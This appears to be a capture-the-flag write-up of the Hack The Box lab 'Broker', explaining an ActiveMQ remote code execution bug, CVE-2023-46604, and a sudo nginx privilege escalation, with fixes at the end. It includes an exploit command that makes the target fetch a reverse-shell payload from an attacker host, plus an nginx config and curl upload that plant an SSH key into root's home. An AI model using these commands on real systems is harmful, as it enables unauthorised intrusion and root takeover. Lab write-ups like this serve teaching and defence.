~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / broker.md

broker

Linux · Easy · released 2023-11-04 · retired 2023-11-09

Summary

Broker is an Easy Linux box built around two separate failures of least-privilege. The first is a publicly-known unauthenticated remote code execution bug in Apache ActiveMQ: CVE-2023-46604, an OpenWire protocol deserialization flaw in versions before 5.15.16. The second is a sudo misconfiguration that grants the activemq service account unrestricted control over the nginx daemon — including which configuration file it loads — which is enough to turn a low-privilege shell into root.

The foothold works because ActiveMQ’s OpenWire transport accepted a specially crafted MarshalledObject that instructs the broker to instantiate a Spring ClassPathXmlApplicationContext pointing at an attacker-controlled URL. Spring fetches the XML, parses it as a bean definition, and executes whatever command is embedded in the <bean> element. No authentication is required because the OpenWire port (61616) is exposed without any access control. Visiting the HTTP admin console on port 8161 with the default credentials admin:admin confirmed the exact version before exploitation, making it trivial to select the right PoC.

Privilege escalation works because sudo -l reveals that activemq can run /usr/sbin/nginx as root with no password and no argument restrictions. nginx is a config-driven daemon: whoever controls the config file controls what the process does. A custom config pointing a WebDAV-enabled virtual server at /root/.ssh with user root; causes nginx’s worker process to run as root, making it able to write files anywhere under that directory. Uploading the attacker’s SSH public key via an HTTP PUT request then grants direct SSH access as root. The user root; directive is load-bearing: without it, the worker runs as a non-privileged user and returns HTTP 500 when it cannot write into /root/.ssh.

Recon

22/tcp     OpenSSH
80/tcp     nginx (ActiveMQ web console)
1883/tcp   MQTT
5672/tcp   AMQP
8161/tcp   ActiveMQ HTTP admin console
61613/tcp  STOMP
61614/tcp  SSL STOMP
61616/tcp  ActiveMQ OpenWire

The OpenWire port (61616) is the primary attack surface: it is ActiveMQ’s binary messaging protocol and the transport that CVE-2023-46604 targets. Seeing it open immediately suggests checking the ActiveMQ version, since the vulnerability was publicly patched months before this box was released and a reliable PoC exists. The remaining messaging ports — MQTT (1883), AMQP (5672), STOMP (61613/61614) — are additional ActiveMQ transports that are not exploited here but confirm the service identity.

The HTTP admin console on port 8161 is worth visiting first because it requires no exploitation: the default credentials admin:admin are documented in the ActiveMQ installation guide and are almost never changed in default deployments. Logging in revealed version 5.15.15 directly in the UI, confirming this version falls below every patched release branch (5.15.16, 5.16.7, 5.17.6, 5.18.3) and is therefore vulnerable.

Foothold — CVE-2023-46604

CVE-2023-46604 is a deserialization vulnerability in ActiveMQ’s OpenWire protocol. When the broker receives a specially constructed message containing a ClassInfo object referencing a ClassPathXmlApplicationContext, it fetches the supplied URL over HTTP and instantiates a Spring application context from the retrieved XML. A bean configured to run a system command during construction gives the attacker remote code execution. The vulnerability requires no credentials because the OpenWire port is exposed unauthenticated by default.

git clone https://github.com/X1r0z/ActiveMQ-RCE
# host poc.xml with a <bean> that exec's a reverse shell
python3 exploit.py -i <TARGET> -p 61616 -u http://<ATTACKER>:8000/rev.xml
# shell as activemq
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)

User flag

A shell as activemq lands directly in the service account’s home directory. The user flag is at /home/activemq/user.txt and is readable without any further steps — the ActiveMQ service account owns the file.

cat /home/activemq/user.txt

Privilege escalation — sudo nginx → DAV PUT

sudo -l shows that activemq can run /usr/sbin/nginx as root with no password and no argument restrictions. This is enough to gain root because nginx’s behaviour is entirely determined by its configuration file, and no restriction is placed on which file is supplied.

The exploitation path is: write a custom nginx config that starts a WebDAV server rooted at /root/.ssh and sets user root; so the worker process runs as root. Start nginx with that config, then use curl -T to upload the attacker’s SSH public key as authorized_keys. The user root; directive is critical — without it the worker cannot write into a root-owned directory and returns HTTP 500.

sudo -l
# (root) NOPASSWD: /usr/sbin/nginx

cat > /home/activemq/.n.conf <<'EOF'
user root;
worker_processes 1;
pid /home/activemq/.n.pid;
events {}
http {
   server {
      listen 127.0.0.1:8082;
      location / {
         root /root/.ssh;
         dav_methods PUT;
         create_full_put_path on;
         dav_access user:rw;
      }
   }
}
EOF

sudo /usr/sbin/nginx -c /home/activemq/.n.conf
curl -T ~/.ssh/id_rsa.pub http://127.0.0.1:8082/authorized_keys
ssh -i id_rsa root@<TARGET>

Why each step worked

CVE-2023-46604 is a deserialization vulnerability in ActiveMQ’s OpenWire protocol. When the broker receives a specially constructed ExceptionResponse message containing a ClassInfo object, it passes the embedded URL to Spring’s ClassPathXmlApplicationContext for resolution. Spring treats the URL as a remote Spring XML application context, fetches it over HTTP, and instantiates any beans defined there. A bean can be configured to run an arbitrary system command during construction, so the broker executes attacker-controlled code with no prior authentication required. The vulnerability exists because ActiveMQ trusted the object type embedded in the wire message without validating whether the caller was authorized to trigger Spring context loading.

The nginx privilege escalation works because sudo grants control over the daemon itself, not just the binary. nginx reads a configuration file at startup, and the sudo rule places no restriction on which config file is used. By writing a config that declares user root; and enables WebDAV writes into /root/.ssh, the attacker instructs nginx to start a worker process owned by root that will accept HTTP PUT requests and write their bodies to disk. The user root; line is critical: nginx’s master process drops privileges to the configured user before forking workers, so omitting it causes the worker to run as a non-root user and fail with HTTP 500 when it tries to write into a root-owned directory. Once the worker is running as root, a single curl -T call installs a public key and produces an SSH session.

Counterfactuals

Patching ActiveMQ to any version at or above the fixed releases (5.15.16, 5.16.7, 5.17.6, or 5.18.3) removes the deserialization sink in the OpenWire handler. Even without patching, restricting network access to port 61616 — by firewall rule or by binding to localhost — eliminates external reachability entirely. Changing the HTTP console password from the default admin:admin would not have stopped the OpenWire exploit but would have removed the free version disclosure step.

The nginx misconfiguration is harder to accidentally avoid because the danger is not in the binary but in the absence of argument restrictions. The safest fix is to remove the sudo rule entirely and run nginx as a dedicated service user. If sudo access to nginx is operationally required, the rule should pin the config path to a root-owned, non-world-writable file — for example NOPASSWD: /usr/sbin/nginx -c /etc/nginx/nginx.conf — so the operator cannot supply an alternate config. A separate mitigation is to build nginx without ngx_http_dav_module, since WebDAV is not needed in most environments and its presence turns any nginx write-access into a filesystem write primitive.

Key Takeaways

References

← all htb machines hackthebox.com ↗